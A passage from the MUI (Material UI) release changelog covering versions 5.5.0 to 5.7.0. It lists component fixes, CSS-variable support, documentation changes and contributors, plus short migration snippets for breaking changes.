@joserodolfofreitas, @michaldudak, @mnajdova, @MrHBS, @oliviertassinari, @ryancogswell, @samuelsycamore, @shadigaafar, @siriwatknp, @ZeeshanTamboli\n\n## 5.7.0\n\n<!-- generated comparing v5.6.4..master -->\n\n_May 10, 2022_\n\nA big thanks to the 27 contributors who made this release possible. Here are some highlights ✨:\n\n🛠 This release is all about supporting CSS variables in many Material UI components.\nKudos to all contributors!\n\n### `@mui/material@5.7.0`\n\n- [StepLabel, StepIcon] Add support for CSS variables (#32609) @vicasas\n- [Table, TableRow] Add support for CSS variables (#32614) @vicasas\n- [AppBar] Add a logo component for the responsive app bar demo (#32374) @ameetmadan\n- [Autocomplete] Fix clearing single array values (#32626) @mikepricedev\n- [Autocomplete] Fix keep listbox open on left/right keys when inputValue is not empty (#31407) @alisasanib\n- [Autocomplete] Add support for CSS variables (#32598) @ZeeshanTamboli\n- [Autocomplete] Render `endAdornment` only when necessary (#32386) @g1eny0ung\n- [ButtonGroup] Add support for CSS variables (#32498) @vicasas\n- [CardActionArea] Add support for CSS variables (#32554) @vicasas\n- [ClickAwayListener] Allow pointer up/down events to event handler (#32264) @vladjerca\n- [CssBaseline] Add support for CSS vars (#32618) @haneenmahd\n- [Dialog] Add support for CSS variables (#32555) @vicasas\n- [Divider] Add support for CSS variables (#32519) @vicasas\n- [Drawer] Add support for CSS variables (#32565) @nghiamvt\n- [Fab] Add support for CSS variables (#32564) @alisasanib\n- [FormControlLabel] Add support for CSS variables (#32588) @elliefoote\n- [FormHelperText] Add support for CSS variables (#32596) @ZeeshanTamboli\n- [FormLabel] Add support for CSS variables (#32602) @ZeeshanTamboli\n- [Icon] Add support for CSS variables (#32595) @Jamaalwbrown\n- [IconButton] Add support for CSS variables (#32590) @Ariyapong\n- [ImageListItemBar] Add support for CSS variables (#32578) @vicasas\n- [Input] Support CSS variables (#32128) @ivan-ngchakming\n- [InputAdornment] Add support CSS variables (#32607) @vicasas\n- [Link] Fix style overrides color prop (#32653) @siriwatknp\n- [ListItem] Add support for CSS variables (#32580) @dan-mba\n- [ListItemButton] Add support for CSS variables (#32582) @dan-mba\n- [ListItemIcon] Add support for CSS variables (#32583) @dan-mba\n- [ListSubheader] Add support for CSS variables (#32584) @dan-mba\n- [MenuItem] Add support for CSS variables (#32561) @nghiamvt\n- [MobileStepper] Add support for CSS vars (#32606) @haneenmahd\n- [Modal] Add support for CSS variables (#32605) @haneenmahd\n- [PaginationItem] Add support for CSS vars (#32612) @haneenmahd\n- [Rating] Add support for CSS variables (#32556) @vicasas\n- [Snackbar] Add support for CSS variables (#32603) @gin1314\n- [SpeedDial] Add support for CSS variables (#32613) @alisasanib\n- [Stepper] Export useStepperContext (#31398) @pzi\n- [SvgIcon] Add support for CSS variables (#32610) @vicasas\n- [TablePagination] Add support for CSS variables (#32615) @haneenmahd\n- [TableSortLabel]: Add support for CSS vars (#32616) @haneenmahd\n- [Tabs] Add support for CSS variables (#32547) @ZeeshanTamboli\n- [ToggleButton] Add support for CSS variables (#32600) @Ariyapong\n- [ToggleButtonGroup] Add support for CSS variables (#32617) @haneenmahd\n- [Tooltip] Add support for CSS variables (#32594) @gin1314\n\n### `@mui/system@5.7.0`\n\n- [System] Support CSS variables for iframes & custom nodes (#32496) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.80`\n\n- [ButtonUnstyled] Fix keyboard navigation on customized elements (#32204) @michaldudak\n\n### `@mui/private-classnames@5.7.0`\n\n- [classnames] Add new package for classnames utils (#32502) @mnajdova\n\n### Docs\n\n- [docs] Correct links to prevent 301 redirects (#32692) @michaldudak\n- [docs] Move, split, and revise \"Unstyled components\" page (#32562) @samuelsycamore\n- [docs] Nest `ListItemButton` in `ListItem` in the Drawer examples (#31987) @stefanprobst\n- [docs] Apply callouts in the Material UI docs (#32567) @danilo-leal\n- [docs] Show product identifier on new X pages (#32657) @cherniavskii\n- [docs] Fix copy button childNode not found (#32652) @siriwatknp\n- [docs] Split install commands in isolated code blocks (#32566) @danilo-leal\n- [docs] Base Switch style revisions and final review (#32376) @samuelsycamore\n- [docs] Adds Badge link to Base doc nav (#32619) @samuelsycamore\n- [docs] Base Installation style revisions and final review (#32483) @samuelsycamore\n- [docs] Fix broken redirection (#32581) @oliviertassinari\n- [docs] Allows to use `import '<library name>'` in demonstrations (#32492) @alexfauquette\n- [docs] Hide copy button on search icon dialog (#32577) @siriwatknp\n- [docs] Use full API link for ThemeProvider (#32549) @jcvidiri\n- [Joy] Add principles page (#32648) @siriwatknp\n- [Joy] Add Button page (#32576) @siriwatknp\n- [Joy] Add \"Quick start\" and \"Tutorial\" pages (#32383) @siriwatknp\n\n### Core\n\n- [core] Security updates (#32636) @michaldudak\n- [core] Fix `docs:dev` not working after upgrading `next` to 12.1.0 (#32552) @cherniavskii\n- [core] Update minimist to fix security vulnerability (#32575) @michaldudak\n\nAll contributors of this release in alphabetical order: @alexfauquette, @alisasanib, @ameetmadan, @Ariyapong, @cherniavskii, @dan-mba, @danilo-leal, @elliefoote, @flaviendelangle, @g1eny0ung, @gin1314, @haneenmahd, @ivan-ngchakming, @Jamaalwbrown, @jcvidiri, @michaldudak, @mikepricedev, @mnajdova, @nghiamvt, @oliviertassinari, @pzi, @samuelsycamore, @siriwatknp, @stefanprobst, @vicasas, @vladjerca, @ZeeshanTamboli\n\n## 5.6.4\n\n<!-- generated comparing v5.6.3..master -->\n\n_May 2, 2022_\n\nA big thanks to the 13 contributors who made this release possible. Here are some highlights ✨:\n\n- 💅 5 Material UI components were updated to support CSS variables by @ZeeshanTamboli & @vicasas\n- And more 🐛 bug fixes and 📚 improvements.\n\n### `@mui/material@5.6.4`\n\n- [Accordion] Add support for CSS variables (#32542) @ZeeshanTamboli\n- [AvatarGroup] Add support for CSS variables (#32507) @vicasas\n- [Badge] Add support for CSS variables (#32516) @vicasas\n- [BottomNavigation] Add support for CSS variables (#32517) @vicasas\n- [CircularProgress] Add support for CSS variables (#32543) @ZeeshanTamboli\n- [FilledInput] Fix type error from undefined `color` (#32258) @hbjORbj\n- [l10n] Fix typo in csCZ translation of Pagination component (#32509) @Martin005\n- [Tabs] Fix `TabIndicatorProps` prop missing `sx` prop (#32503) @b-novikov-ipersonality\n\n### `@mui/codemod@5.6.4`\n\n- [codemod] Leave numeric arguments to breakpoints functions unchanged (#32426) @ryancogswell\n- [codemod] Allow for line breaks within theme.spacing parentheses (#32432) @ryancogswell\n\n### `@mui/joy@5.0.0-alpha.26`\n\n- [Joy] Miscellaneous fixes (#32541) @siriwatknp\n- [Joy] Add `extendSxProp` to Link (#32505) @siriwatknp\n- [Joy] Rename variants (#32489) @siriwatknp\n- [Joy] Add `extendTheme` (#32450) @siriwatknp\n\n### Docs\n\n- [docs] SEO fixes (#32515) @oliviertassinari\n- [docs] Replace `Overriding nested component styles` anchor link with text (#32487) @ZeeshanTamboli\n- [docs] Update the list of external domains (#32514) @oliviertassinari\n- [docs] Update Material UI code snippets for React 18 (#32361) @samuelsycamore\n- [docs] Base TextareaAutosize style revisions and final review (#32481) @samuelsycamore\n- [docs] Base ClickAwayListener style revisions and final review (#32156) @samuelsycamore\n- [docs] Base Button style revisions and final review (#32380) @samuelsycamore\n- [docs] Base NoSsr style revisions and final review (#32254) @samuelsycamore\n- [docs] Correctly capitalize Ctrl @oliviertassinari\n- [docs] Fix styling in `Basic Popper` demo on the Base UI docs (#32488) @ZeeshanTamboli\n- [docs] Add \"Overview\" page to Base docs (#32310) @samuelsycamore\n- [docs] Add copy button to code block (#32390) @siriwatknp\n- [docs] Base Tabs style revisions and final review (#32423) @samuelsycamore\n- [docs] Base Popper style revisions and final review (#32412) @samuelsycamore\n- [docs] Improve sidenav for MUI X (#32435) @oliviertassinari\n- [docs] Don't redirect on deploy preview (#32399) @m4theushw\n- [docs] A few SEO fixes (#32431) @oliviertassinari\n- [docs] Update links to the new Group & Pivot pages (#32410) @flaviendelangle\n- [docs] Support callouts (#32402) @siriwatknp\n- [docs] Fix import path in the Snackbar article #32462 @mongolyy\n- [docs] Fix grammar mistake in shadows.md (#32454) @HexM7\n- [docs] Improve unstyled button docs (#32429) @oliviertassinari\n\n### Core\n\n- [experiment] Add template for testing Material UI components with CSS variables (#32500) @siriwatknp\n\nAll contributors of this release in alphabetical order: @b-novikov-ipersonality, @flaviendelangle, @hbjORbj, @HexM7, @m4theushw, @Martin005, @mongolyy, @oliviertassinari, @ryancogswell, @samuelsycamore, @siriwatknp, @vicasas, @ZeeshanTamboli\n\n## 5.6.3\n\n<!-- generated comparing v5.6.2..master -->\n\n_Apr 25, 2022_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- 🛠 Fixed TypeScript issue when the `fill` CSS property is used in MUI System (#32355) @valerii15298\n- And more 🐛 bug fixes and 📚 improvements.\n\n### `@mui/material@5.6.3`\n\n- [BottomNavigation] Action icon `padding` fix (#32030) @abhinav-22-tech\n- [Dialog] Fix `component` prop is not available in `DialogTitleProps` (#32389) @hbjORbj\n- [StepContent] Fix TypeScript type of `TransitionComponent` prop (#32314) @ZeeshanTamboli\n\n### `@mui/system@5.6.3`\n\n- [system] Fix prop types when the `fill` CSS property is used (#32355) @valerii15298\n- [system] Fix broken behavior when theme value is `zero` (#32365) @ZeeshanTamboli\n\n### `@mui/base@5.0.0-alpha.78`\n\n- [InputUnstyled] `multiline` property should not log DOM warnings for `maxRows` and `minRows` props (#32401) @ZeeshanTamboli\n\n### `@mui/joy@5.0.0-alpha.25`\n\n- [Joy] Improve theme focus to be more flexible (#32405) @siriwatknp\n- [Joy] Add `Radio`, `RadioGroup` components (#32279) @siriwatknp\n- [Joy] Add `Chip` component (#31983) @hbjORbj\n- [Joy] Improve controls (#32267) @siriwatknp\n- [Joy] Set up docs (#32370) @siriwatknp\n\n### Docs\n\n- [docs] Enable row reordering on the pricing page (#31875) @DanailH\n- [blog] A few improvements on date picker change (#32325) @oliviertassinari\n- [docs] Emphasize how to avoid failing tests when migrating from v4 to v5 (#32159) @dwjohnston\n- [docs] Revise the related projects page (#32180) @danilo-leal\n- [docs] Cleanup remaining @mui/styles usages (#32313) @mnajdova\n- [docs] Fix sidenav mobile color (#32324) @oliviertassinari\n- [docs] Base TrapFocus style revisions and final review (#32364) @samuelsycamore\n- [docs] Update the README.md to better cover the different products (#32360) @samuelsycamore\n- [docs] Improve the propTypes generation and API demos' links (#32295) @mnajdova\n- [docs] Add ability to display a plan icon next to a page link in nav bar (#32393) @flaviendelangle\n- [docs] Change label on `FormControlLabelPlacement` (#32322) @ainatenhi\n\n### Core\n\n- [core] `yarn prettier` write @oliviertassinari\n- [core] Fix changelog warning message (#32240) @praveen001\n- [core] Update the proptypes scripts to support components in @mui/system (#32456) @mnajdova\n\nAll contributors of this release in alphabetical order: @abhinav-22-tech, @ainatenhi, @DanailH, @danilo-leal, @dwjohnston, @flaviendelangle, @hbjORbj, @mnajdova, @oliviertassinari, @praveen001, @samuelsycamore, @siriwatknp, @valerii15298, @ZeeshanTamboli\n\n## 5.6.2\n\n<!-- generated comparing v5.6.1..master -->\n\n_Apr 18, 2022_\n\nA big thanks to the 11 contributors who made this release possible.\nThis release is mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.6.2`\n\n- [Autocomplete] Explain how to use getOptionLabel in free solo mode and update getOptionLabel type (#32165) @michaldudak\n- [Badge] Fix customization of classes (#32185) @michaldudak\n- [TextField] Add a workaround for Safari CSS transition scale bug (#32188) @igordanchenko\n\n### `@mui/system@5.6.2`\n\n- [system] Update style function to use vars automatically if available (#32244) @mnajdova\n\n### `@mui/base@5.0.0-alpha.77`\n\n- [FormControlUnstyled] Revise API (#32134) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.24`\n\n- [Joy] Add `Badge` component (#31401) @hbjORbj\n- [Joy] Fix misuse variable in `Input` (#32268) @siriwatknp\n\n### Docs\n\n- [blog] Fix images for the docs separation post (#32257) @danilo-leal\n- [docs] Base Form Control style revisions and final review (#32309) @samuelsycamore\n- [docs] Base TablePagination style revisions and final review (#32178) @samuelsycamore\n- [docs] Revise the dark mode article (#32179) @danilo-leal\n- [docs] Add `aria-label` for `IconButton` (#32276) @SiarheiBobryk\n- [docs] Fix `borderRadius` in the docs example (#32347) @ZeeshanTamboli\n- [docs] Fix 404 link in the code (#32323) @oliviertassinari\n- [docs] Sync h1 with side nav label (#32235) @oliviertassinari\n- [docs] Fix SEO issues (#32282) @oliviertassinari\n- [docs] Fix broken link in the test contributing guide (#32283) @sirartemis\n- [docs] Update \"How to customize\" page anchor links #32315 @abaker93\n- [docs] Mark `onBackdropClick` prop as deprecated in `Dialog`, `Modal` and `ModalUnstyled` components (#32297) @ZeeshanTamboli\n- [docs] Link to advanced components page (#32290) @siriwatknp\n- [docs] Sync package description with the docs (#32211) @oliviertassinari\n- [docs] Revise \"Component theming\" and \"How to customize\" guides (#31997) @danilo-leal\n- [docs] Add note in the Contributing guide about linking issues to a PR (#32174) @danilo-leal\n- [docs] Update RTL guide (#32242) @michaldudak\n- [docs] Uniformize capitalization (#32238) @oliviertassinari\n\n### Core\n\n- [core] Remove unecessary div (#32237) @oliviertassinari\n- [core] Revert #32229 (#32262) @michaldudak\n- [test] Fix running unit tests on Windows (#32260) @michaldudak\n\nAll contributors of this release in alphabetical order: @abaker93, @cherniavskii, @danilo-leal, @hbjORbj, @igordanchenko, @michaldudak, @mnajdova, @oliviertassinari, @samuelsycamore, @SiarheiBobryk, @sirartemis, @siriwatknp, @ZeeshanTamboli\n\n## 5.6.1\n\n<!-- generated comparing v5.6.0..master -->\n\n_Apr 11, 2022_\n\nA big thanks to the 8 contributors who made this release possible.\nThis release is mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.6.1`\n\n- [Grow] Extend Safari CSS transition bug workaround on WebKit browsers (#32202) @igordanchenko\n- [Link] Fix style overrides 5.6.0 regression (#32182) @siriwatknp\n- [Select] Bug when the first child is a ListSubheader (#27299) @DouglasPds\n\n### `@mui/base@5.0.0-alpha.76`\n\n- [ButtonUnstyled] Allow receiving focus when disabled (#32090) @michaldudak\n\n### Docs\n\n- [blog] Share what's changed about the new docs structure (#32044) @danilo-leal\n- [docs] Format number icons search (#32239) @oliviertassinari\n- [docs] Fix small external links issue (#32212) @oliviertassinari\n- [docs] Make sidenav crawlable (#32241) @oliviertassinari\n- [docs] Base Badge style revisions and final review (#32098) @samuelsycamore\n- [docs] Fix wrong url (#32208) @siriwatknp\n- [docs] Fix date-pickers redirects (#32207) @siriwatknp\n- [docs] Add notification for the doc restructure and date pickers update (#32195) @siriwatknp\n- [docs] Fix 404 from `ahrefs` report (#32206) @siriwatknp\n- [docs] Remove notifications temporary (#32192) @siriwatknp\n- [docs] Redirect to new urls (#32048) @siriwatknp\n- [docs] Update Learn page copy and resource list (#31989) @samuelsycamore\n\n### Core\n\n- [core] Fix misleading types range (#32236) @oliviertassinari\n- [core] Small polish on the product name (#32199) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @danilo-leal, @DouglasPds, @igordanchenko, @l10nbot, @michaldudak, @oliviertassinari, @samuelsycamore, @siriwatknp\n\n## 5.6.0\n\n<!-- generated comparing v5.5.3..master -->\n\n_Apr 5, 2022_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- 🧰 Update peer dependencies to support React 18 (#32063) @eps1lon\n- 🚀 Added the experimental `CssVarsProvider` in `@mui/material` for generating theme CSS variables (#31138) @mnajdova\n- 📣 Moved date and time pickers from the lab to MUI X (#31984) @flaviendelangle\n- Several 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.6.0`\n\n- [CssVarsProvider] Add experimental CssVarsProvider in @mui/material (#31138) @mnajdova\n- [Link] Fix `sx` color to support callback (#32123) @siriwatknp\n- [Link] Fix color transformation (#32045) @siriwatknp\n- [ListItemButton] Specified width so that text would ellide (#32083) @MatthijsMud\n- [TablePagination] Fixed the etEE locale (#32052) @raigoinabox\n\n### `@mui/base@5.0.0-alpha.75`\n\n- [Badge] Simplify unstyled API (#31974) @michaldudak\n\n### `@mui/codemod@5.6.0`\n\n- [codemod] Add v5.0.0/date-pickers-moved-to-x codemod (#31373) @flaviendelangle\n\n### `@mui/lab@5.0.0-alpha.76`\n\n- [DatePicker] Remove date and time pickers from the lab (#31984) @flaviendelangle\n\n### `@mui/joy@5.0.0-alpha.22`\n\n- [Joy] Add `Card` components (#32027) @siriwatknp\n\n### Docs\n\n- [blog] New article for the date pickers migration to X (#31831) @flaviendelangle\n- [docs] Base Menu style revisions and final review (#32097) @samuelsycamore\n- [docs] Base Select style revisions and final review (#32095) @samuelsycamore\n- [docs] Base Input style revisions and final review (#32096) @samuelsycamore\n- [docs] Base Slider style revisions and final review (#32140) @samuelsycamore\n- [docs] Base Modal style revisions and final review (#32093) @samuelsycamore\n- [docs] Add page for CSS variables support in @mui/material (#32050) @mnajdova\n- [docs] Add TSS support for theme style overrides (#31918) @garronej\n- [docs] Simplify customization examples in ButtonUnstyled demos (#32092) @michaldudak\n- [docs] Fix linking issues for the redirects (#32101) @siriwatknp\n- [docs] Create the FormControl page (#32073) @michaldudak\n- [docs] Remove trap-focus from the navigation (#32079) @psjishnu\n- [docs] Add date-pickers product identifier (#32076) @siriwatknp\n- [docs] Move SwitchUnstyled docs to the Base space (#31964) @michaldudak\n- [docs] Add docs page for unstyled popper (#31813) @siriwatknp\n- [docs] Copy TextareaAutosize docs to Base (#32034) @michaldudak\n- [docs] Add react-hook-form-mui to Complementary projects #32015 @TkaczykAdam\n- [docs] Improve the translation experience (#32021) @oliviertassinari\n- [docs] Add small size Select demo (#32060) @ivan-ngchakming\n- [docs] Correct typos (#32029) @apeltop\n- [docs] Create SliderUnstyled docs (#31850) @michaldudak\n- [docs] Create TablePaginationUnstyled docs (#32018) @michaldudak\n- [docs] Move SelectUnstyled docs to the Base space (#31816) @michaldudak\n- [docs] Create the TabsUnstyled docs (#32023) @michaldudak\n\n### Core\n\n- [core] Update peer deps to support React 18 (#32063) @eps1lon\n- [core] Fix running docs:api on Windows (#32091) @michaldudak\n- [core] Fix api build script for Base UI (#32081) @siriwatknp\n\nAll contributors of this release in alphabetical order: @apeltop, @eps1lon, @flaviendelangle, @garronej, @ivan-ngchakming, @m4theushw, @MatthijsMud, @michaldudak, @mnajdova, @oliviertassinari, @psjishnu, @raigoinabox, @samuelsycamore, @siriwatknp, @TkaczykAdam\n\n## 5.5.3\n\n<!-- generated comparing v5.5.2..master -->\n\n_Mar 28, 2022_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- ♿️ improved the a11y on some docs demos\n- Several 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.5.3`\n\n- [ButtonBase] Start ripple only after mount (#31950) @m4theushw\n- [FormControlLabel] Fix label prop type to be in-line with other label prop types (#31139) @jannes-io\n- [Grow] Add a workaround for Safari 15.4 CSS transition bug (#31975) @igordanchenko\n\n### `@mui/codemod@5.5.3`\n\n- [codemod] Fix variant prop placement (#31990) @ryancogswell\n\n### `@mui/utils@5.5.3`\n\n- [utils] Improve type inference of useForkRef (#31845) @eps1lon\n\n### `@mui/base@5.0.0-alpha.74`\n\n#### Breaking changes\n\n- [base] Remove `BackdropUnstyled` component (#31923) @mnajdova\n\n  The `BackdropUnstyled` component was removed from the `@mui/base` package, as it did not have any specific logic, except adding an `aria-hidden` attribute on the div it rendered. This is not enough to justify it's existence in the base package. Here is an example alternative component you can use:\n\n  ```tsx\n  const BackdropUnstyled = React.forwardRef<HTMLDivElement, { open?: boolean; className: string }>(\n    (props, ref) => {\n      const { open, className, ...other } = props;\n      return <div className={clsx({ 'MuiBackdrop-open': open }, className)} ref={ref} {...other} />;\n    },\n  );\n  ```\n\n- [FocusTrap] Move docs to Base and drop the Unstyled prefix (#31954) @michaldudak\n\n  Removed the `Unstyled_` prefix from the Base export (it remains in the Material UI export, though).\n\n  ```diff\n  -import { Unstyled_TrapFocus } from '@mui/base';\n  +import { TrapFocus } from '@mui/base';\n\n   // or\n\n  -import TrapFocus from '@mui/base/Unstyled_TrapFocus';\n  +import TrapFocus from '@mui/base/TrapFocus';\n  ```\n\n#### Changes\n\n- [base] Add @mui/types to dependencies (#31951) @bicstone\n\n### `@mui/joy@5.0.0-alpha.21`\n\n- [Joy] Add `AvatarGroup` component (#31980) @siriwatknp\n- [Joy] Miscellaneous fixes (#31873) @siriwatknp\n- [Joy] Miscellaneous fixes 2 (#31971) @siriwatknp\n\n### Docs\n\n- [docs] Improve the a11y on the hover rating demo (#31970) @mnajdova\n- [docs] Improve a11y on the `SplitButton` demo (#31969) @mnajdova\n- [docs] Improve the color description in the API pages (#30976) @mnajdova\n- [docs] Add docs page for unstyled Modal (#31417) @mnajdova\n- [docs] Add InputUnstyled docs (#31881) @mnajdova\n- [docs] Remove \"Work in biotech\" from the showcase (#31942) @oliviertassinari\n- [docs] Fix in-house ad for the design kits (#31965) @oliviertassinari\n- [docs] Fix the documentation for filterOptions in Autocomplete API page (#31416) @santhoshbala0178\n- [docs] Update href for 'TypeScript guide on theme customization' (#31880) @NickFoden\n- [docs] Fix the CSS Modules example in the Interoperability page (#31935) @WilsonNet\n- [docs] Fix small typo in the `styled()` utility page (#31967) @jason1985\n- [docs] Update mui-x on material-ui navigation (#31810) @siriwatknp\n- [docs] Copy ClickAwayListener docs to Base (#31878) @michaldudak\n- [docs] Refine the redirects (#31939) @siriwatknp\n- [docs] Fix TOC layout for large screen (#31953) @siriwatknp\n- [examples] Update remix example to not use NODE_ENV guard for `LiveReload` (#31269) @eswarclynn\n- [NoSsr] Copy docs to the Base space (#31956) @michaldudak\n- [Portal] Copy Portal docs to the Base space (#31959) @michaldudak\n- Revert \"[website] Remove X-Frame-Options\" @oliviertassinari\n\n### Core\n\n- [core] Fixes error in changelog generator for item sorting/padding (#30088) @dimitropoulos\n- [core] Fix typo in issue template @oliviertassinari\n- [core] Replace deprecated String.prototype.substr() (#31806) @CommanderRoot\n- [test] Add tests for component using `StandardProps` and polymorphic components (#31945) @mnajdova\n\nAll contributors of this release in alphabetical order: @bicstone, @CommanderRoot, @dimitropoulos, @eps1lon, @eswarclynn, @igordanchenko, @jannes-io, @jason1985, @m4theushw, @michaldudak, @mnajdova, @NickFoden, @oliviertassinari, @ryancogswell, @santhoshbala0178, @siriwatknp, @WilsonNet\n\n## 5.5.2\n\n<!-- generated comparing v5.5.1..master -->\n\n_Mar 21, 2022_\n\nA big thanks to the 7 contributors who made this release possible. This is a small release focused on some 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.5.2`\n\n- [Popper] Expose the `sx` prop (#31833) @ivan-ngchakming\n\n### `@mui/joy@5.0.0-alpha.20`\n\n- [Joy] Add default color to `Input` and `ListItemButton` (#31826) @siriwatknp\n- [Joy] Add Avatar component (#31303) @hbjORbj\n\n### `@mui/base@5.0.0-alpha.73`\n\n- [SliderUnstyled] Fix dragging on disabled sliders (#31882) @mnajdova\n\n### `@mui/styled-engine-sc@5.5.2`\n\n- [styled-engine-sc] GlobalStylesProps inconsistent between the different packages (#31814) @mnajdova\n\n### Docs\n\n- [data-grid] Fix print export feature (#31807) @oliviertassinari\n- [docs] Move BadgeUnstyled docs to Base space (#31872) @michaldudak\n- [docs] Solve duplication of content (#31917) @oliviertassinari\n- [docs] Fix side nav capitalization of API (#31916) @oliviertassinari\n- [docs] Use TypeScript demos by default (#31808) @oliviertassinari\n- [docs] New search experience for multiple products (#31811) @siriwatknp\n- [docs] Make LTS searchable (#31804) @oliviertassinari\n- [docs] Fix demo filename on zh markdown (#31790) @nnmax\n\n### Core\n\n- [core] Add tests for Avatar component (#31829) @hbjORbj\n\nAll contributors of this release in alphabetical order: @hbjORbj, @ivan-ngchakming, @michaldudak, @mnajdova, @nnmax, @oliviertassinari, @siriwatknp\n\n## 5.5.1\n\n<!-- generated comparing v5.5.0..master -->\n\n_Mar 14, 2022_\n\nA big thanks to the 23 contributors who made this release possible. Here are some highlights ✨:\n\n- 📊 2021 survey results post by @danilo-leal (#30999)\n- Several 🐛 bug fixes and 📚 documentation improvements\n\n### @mui/material@5.5.1\n\n- [Fab] Add z-index (#30842) @issamElmohadeb098\n- [Grid] Fix columns of nested container (#31340) @boutahlilsoufiane\n- [i10n] Update italian locale (#30974) @SalvatoreMazzullo\n- [Pagination] Fix type of UsePaginationItem[\"page\"] (#31295) @aaronadamsCA\n- [Popper] Allow setting default props in a theme (#30118) @hafley66\n- [TextField] fix disappearing border in Safari (#31406) @krysia1\n\n### @mui/joy@5.0.0-alpha.19\n\n- [Joy] Support horizontal List (#31620) @siriwatknp\n- [Joy] Add icon & label `Switch` examples (#31359) @siriwatknp\n- [Joy] Add `TextField` component (#31299) @siriwatknp\n- [Joy] Add `--Icon-fontSize` to components (#31360) @siriwatknp\n- [Joy] Add `Checkbox` component (#31273) @siriwatknp\n\n### Docs\n\n- [blog] 2021 survey results post (#30999) @danilo-leal\n- [docs] Add Macedonian translation (#31402) @theCuriousOne\n- [docs] Fix API page table styles in Safari (#31696) @aaarichter\n- [docs] Fix SEO issues (#31505) @oliviertassinari\n- [docs] Fix Link leak of Next.js props (#31418) @oliviertassinari\n- [docs] Add \"Work in biotech\" to showcase (#31711) @klyburke\n- [docs] Fix docs site crash on iOS Safari 12 (#31458) @badalsaibo\n- [docs] Fix search icons crash (#31651) @juanpc10\n- [docs] Remove unnecessary await in e2e-tests (#31767) @siriwatknp\n- [docs] Fix source code links on the Templates page (#31425) @danilo-leal\n- [docs] Adjust Stack's basic usage demo (#31423) @danilo-leal\n- [docs] Migrate button demos to base (#31395) @siriwatknp\n- [docs] Fix y-axis unit used in the responsive font sizes chart (#31424) @aaarichter\n- [docs] Remove joy mockup pages (#31412) @siriwatknp\n- [docs] Fix the statement that styleOverrides are added by default (#31257) @mnajdova\n- [docs] Refine the product identifier menu (#31262) @danilo-leal\n- [docs] Fix Search crash (#31386) @reckter\n- [docs] Update TextField multiline description (#31291) @jontewks\n- [docs] Add gap theme mapping in MUI System properties table (#31382) @danilo-leal\n- [docs] Test products search (#31351) @siriwatknp\n- [docs] Fix GitHub source links in the demo toolbar (#31339) @PunitSoniME\n- [docs] Add Algolia verification code to robot.txt (#31356) @siriwatknp\n- [examples] Ignore tsbuildinfo with Next.js (#31460) @B0und\n\n### Core\n\n- [core] Simplify anchor link (#31419) @oliviertassinari\n- [core] Revert unrelated changes in #31354 @oliviertassinari\n- [test] Upgrade CircleCI convenience image (#31394) @m4theushw\n- [typescript] Simplify display of slot props types (#31240) @michaldudak\n\nAll contributors of this release in alphabetical order: @aaarichter, @aaronadamsCA, @B0und, @badalsaibo, @boutahlilsoufiane, @danilo-leal, @hafley66, @hbjORbj, @issamElmohadeb098, @jontewks, @juanpc10, @klyburke, @krysia1, @m4theushw, @michaldudak, @mnajdova, @oliviertassinari, @PunitSoniME, @reckter, @SalvatoreMazzullo, @samuelsycamore, @siriwatknp, @theCuriousOne\n\n## 5.5.0\n\n<!-- generated comparing v5.4.4..master -->\n\n_Mar 7, 2022_\n\nA big thanks to the 16 contributors who made this release possible. Here are some highlights ✨:\n\n- ♿️ made the `Autocomplete` conform to [ARIA 1.2 combobox](https://www.w3.org/TR/wai-aria-1.2/#combobox) (#30601) @EdmundMai\n- Several 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.5.0`\n\n#### Breaking change\n\n- [ClassNameGenerator] Prevent all `base` imports (#31297) @siriwatknp\n\n  `unstable_ClassNameGenerator` has been moved from `utils` to `className` folder to prevent all Base UI module imports. If you use the module, please update the import as suggested in the diff below:\n\n  ```diff\n  -import { unstable_ClassNameGenerator } from '@mui/material/utils';\n  +import { unstable_ClassNameGenerator } from '@mui/material/className';\n  ```\n\n#### Changes\n\n- [Autocomplete] Fix failing unit tests (#31302) @michaldudak\n- [Autocomplete] Have the screen reader announce when autocomplete is open and closed (#30601) @EdmundMai\n- [AvatarGroup] Fix misalignment with non-default spacing (#31165) @sjdemartini\n- [Drawer] Adjustments to the mini variant to improve UI/UX (#31267) @siriwatknp\n- [Select] Add extending `OutlinedInputProps` by SelectProps (#31209) @jrozbicki\n\n### `@mui/icons-material@5.5.0`\n\n- [icons] Sync new Google Material Icons (#30766) @simonecervini\n\n### `@mui/codemod@5.5.0`\n\n- [codemod] Fix top level imports codemod (#31308) @mnajdova\n\n### `@mui/lab@5.0.0-alpha.72`\n\n- [LoadingButton] Fix padding of loading icon in small button (#31113) @PunitSoniME\n\n### `@mui/base@5.0.0-alpha.71`\n\n- [MenuUnstyled] Create MenuUnstyled and useMenu (#30961) @michaldudak\n- [SelectUnstyled] Prevent window scrolling after opening (#31237) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.18`\n\n- [Joy] Make Icon `fontSize` adaptable to its parent (#31268) @siriwatknp\n- [Joy] Add `Link` component (#31175) @hbjORbj\n- [Joy] Improve `Sheet` tests (#31241) @hbjORbj\n- [Joy] Improve SvgIcon tests (#31242) @hbjORbj\n\n### `@mui/material-next@6.0.0-alpha.26`\n\n- [material-next] Mark @mui/material as a dependency (#31270) @siriwatknp\n\n### Docs\n\n- [docs] Remove career pages from translation (#31346) @oliviertassinari\n- [docs] Fix JS files overloading (#31341) @oliviertassinari\n- [docs] Add banner in solidarity of Ukraine (#31275) @danilo-leal\n- [docs] Fix maxWidth of scrollable Tabs demos (#31285) @danilo-leal\n- [docs] Fix icon linking implementation concurrent safe (#30428) @Janpot\n- [docs] Follow up new doc space issues (#31251) @siriwatknp\n- [examples] Add `@types/node` to Next.js TypeScript starter (#30918) @Daggy1234\n- [examples] Fix import ThemeProvider from correct package in remix-wit… (#30981) @nnecec\n- [blog] Simplify the labels (#30921) 